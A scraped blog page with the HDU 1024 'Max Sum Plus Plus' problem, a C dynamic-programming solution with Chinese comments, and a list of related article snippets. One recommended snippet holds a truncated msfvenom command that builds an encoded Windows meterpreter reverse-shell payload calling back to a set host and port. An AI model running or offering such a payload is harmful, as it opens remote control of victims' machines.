Max Sum Plus Plus

Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others)

Total Submission(s): 17164    Accepted Submission(s): 5651
Problem Description
Now I think you have got an AC in Ignatius.L's "Max Sum" problem. To be a brave ACMer, we always challenge ourselves to more difficult problems. Now you are faced with a more difficult problem.



Given a consecutive number sequence S1, S2, S3, S4 ... Sx, ... Sn (1 ≤ x ≤ n ≤ 1,000,000, -32768 ≤ Sx ≤ 32767). We define
a function sum(i, j) = Si + ... + Sj (1 ≤ i ≤ j ≤ n).



Now given an integer m (m > 0), your task is to find m pairs of i and j which make sum(i1, j1) + sum(i2, j2) + sum(i3, j3) + ... + sum(im,
jm) maximal (ix ≤ iy ≤ jx or ix ≤ jy ≤ jx is not allowed).



But I`m lazy, I don't want to write a special-judge module, so you don't have to output m pairs of i and j, just output the maximal summation of sum(ix, jx)(1 ≤ x ≤ m) instead. ^_^
 
Input
Each test case will begin with two integers m and n, followed by n integers S1, S2, S3 ... Sn.

Process to the end of file.
 
Output
Output the maximal summation described above in one line.
 
Sample Input
1 3 1 2 3
2 6 -1 4 -2 3 -2 3
 
Sample Output
6
8
Hint
Huge input, scanf and dynamic programming is recommended.
/*
** dp[i][j]表示以第i个数字结尾且选定并分成j份能得到的最大值。转移方程为
** dp[i][j] = max(dp[i-1][j], max(dp[1...i-1][j-1])) + arr[i];
** 假设开二维数组的话内存会超,所以得用滚动数组省空间。preMax[j]保存
** 上一轮得到的dp[1...i][j]中的最大值,ans每次读取当前dp数组最大值
** 用以更新preMax数组,最后一轮循环后ans保存的就是答案。
*/ #include <stdio.h>
#include <string.h> #define maxn 1000010
#define inf 0x7fffffff int dp[maxn], preMax[maxn], arr[maxn]; int max(int a, int b) {
return a > b ? a : b;
} int main() {
int n, m, i, j, ans;
while(scanf("%d%d", &n, &m) == 2) {
for(i = 1; i <= m; ++i) {
scanf("%d", &arr[i]);
preMax[i] = dp[i] = 0;
}
preMax[0] = dp[0] = 0;
for(j = 1; j <= n; ++j) { // 分成j份
ans = -inf;
for(i = j; i <= m; ++i) {
dp[i] = max(dp[i-1], preMax[i-1]) + arr[i];
preMax[i-1] = ans;
ans = max(ans, dp[i]);
}
}
printf("%d\n", ans);
}
return 0;
}

HDU1024 Max Sum Plus Plus 【DP】的更多相关文章

  1. HDU 1024 Max Sum Plus Plus【DP】

    Now I think you have got an AC in Ignatius.L's "Max Sum" problem. To be a brave ACMer, we ...

  2. hdu1024 Max Sum Plus Plus 滚动dp

    Max Sum Plus Plus Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others ...

  3. HDU 1024 Max Sum Plus Plus【DP,最大m子段和】

    题目链接: http://acm.hdu.edu.cn/showproblem.php?pid=1024 题意: 给定序列,给定m,求m个子段的最大和. 分析: 设dp[i][j]为以第j个元素结尾的 ...

  4. HDU1024 Max Sum Plus Plus(dp)

    链接:http://acm.hdu.edu.cn/showproblem.php?pid=1024 #include<iostream> #include<vector> #i ...

  5. HDOJ_1087_Super Jumping! Jumping! Jumping! 【DP】

    HDOJ_1087_Super Jumping! Jumping! Jumping! [DP] Time Limit: 2000/1000 MS (Java/Others) Memory Limit: ...

  6. HDOJ 1501 Zipper 【DP】【DFS+剪枝】

    HDOJ 1501 Zipper [DP][DFS+剪枝] Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Ja ...

  7. HDOJ 1257 最少拦截系统 【DP】

    HDOJ 1257 最少拦截系统 [DP] Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Other ...

  8. HDOJ 1159 Common Subsequence【DP】

    HDOJ 1159 Common Subsequence[DP] Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K ...

  9. POJ_2533 Longest Ordered Subsequence【DP】【最长上升子序列】

    POJ_2533 Longest Ordered Subsequence[DP][最长递增子序列] Longest Ordered Subsequence Time Limit: 2000MS Mem ...

随机推荐

  1. Jenkins——应用篇——插件使用——Publish over SSH

    本文是jenkins应用系统文章的一部分,大部分来自工作和学习中的实践,部分内容来自官方文档和网友的文章,引用的文章会在"參考资料"部分附上原始链接,如无意中侵犯您的权利.请联系Q ...

  2. 红黑树,TreeMap,插入操作

    红黑树 红黑树顾名思义就是节点是红色或者黑色的平衡二叉树,它通过颜色的约束来维持着二叉树的平衡.对于一棵有效的红黑树二叉树而言我们必须增加如下规则: 1.每个节点都只能是红色或者黑色 2.根节点是黑色 ...

  3. asp.net网站项目调用page,或者ashx页面不能用反射

    public class TestHandler : System.Web.IHttpHandler { public bool IsReusable { get { return false; } ...

  4. c语言訪问excel

    直接通过格式化读取文件就可实现,见附件

  5. 矩阵经典题目四:送给圣诞夜的礼品(使用m个置换实现对序列的转变)

    https://vijos.org/p/1049 给出一个序列,含n个数.然后是m个置换,求对初始序列依次进行k次置换,求最后的序列. 先看一个置换.把置换表示成矩阵的形式.然后将m个置换乘起来.那么 ...

  6. Reorg

    Reorg 当数据库里某个表中的记录变化量非常大时.须要在表上做REORG操作来优化?? ?&k0=?????&k1=access&sid=6bd8d0c9e1ebfb17&a ...

  7. ubuntu Server 设置主机静态 ip地址

    ubuntu Server 设置主机静态 ip地址 1:先输入 ifconfig 查看当前网络配置 2:然后关闭 eth0 网卡 sudo ifdown eth0 3:配置静态ip sudo vim ...

  8. Element学习

    生成 HTML 文档初始结构 HTML 文档的初始结构,就是包括 doctype.html.head.body 以及 meta 等内容.你只需要输入一个 “!” 就可以生成一个 HTML5 的标准文档 ...

  9. msf payload

    #clientmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.106 LPORT=9999 -e x86/shikata_ga_ ...

  10. Linux不用使用软件把纯文本文档转换成PDF文件的方法

    当你有一大堆文本文件要维护的时候,把它们转换成PDF文档会好一些.比如,PDF更适合打印,因为PDF文档有预定义布局.除此之外,还可以减少文档被意外修改的风险. 要将文本文件转换成PDF格式,你要按照 ...